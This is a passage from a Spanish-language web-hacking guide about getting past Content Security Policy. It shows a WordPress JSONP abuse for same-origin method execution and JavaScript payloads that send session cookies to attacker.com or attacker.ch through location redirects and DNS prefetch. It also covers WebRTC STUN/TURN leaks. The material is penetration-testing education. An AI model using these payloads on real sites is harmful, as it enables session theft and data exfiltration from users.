{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Además, wordpress tiene un endpoint JSONP en /wp-json/wp/v2/users/1?_jsonp=data
que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese endpoint para generar un ataque SOME contra WordPress y incrustarlo dentro de <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
ten en cuenta que este script será cargado porque está permitido por 'self'. Además, y porque WordPress está instalado, un atacante podría abusar del ataque SOME a través del endpoint callback vulnerable que elude el CSP para dar más privilegios a un usuario, instalar un nuevo plugin...
Para más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Bypasses de Exfiltración CSP
Si hay un CSP estricto que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
Ubicación
Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Para cargar páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas en caché para su uso posterior.
Puedes indicar a un navegador que pre-resuelva un nombre de host con: <link rel="dns-prefetch" href="something.com">
Podrías abusar de este comportamiento para exfiltrar información sensible a través de solicitudes DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Otra forma:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) {% endhint %}
WebRTC
En varias páginas puedes leer que WebRTC no verifica la política connect-src
del CSP.
En realidad, puedes leak información utilizando una solicitud DNS. Revisa este código:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Otra opción:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Comprobando políticas CSP en línea
Creando CSP automáticamente
https://csper.io/docs/generating-content-security-policy
Referencias
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs.
Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Últimos Anuncios
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.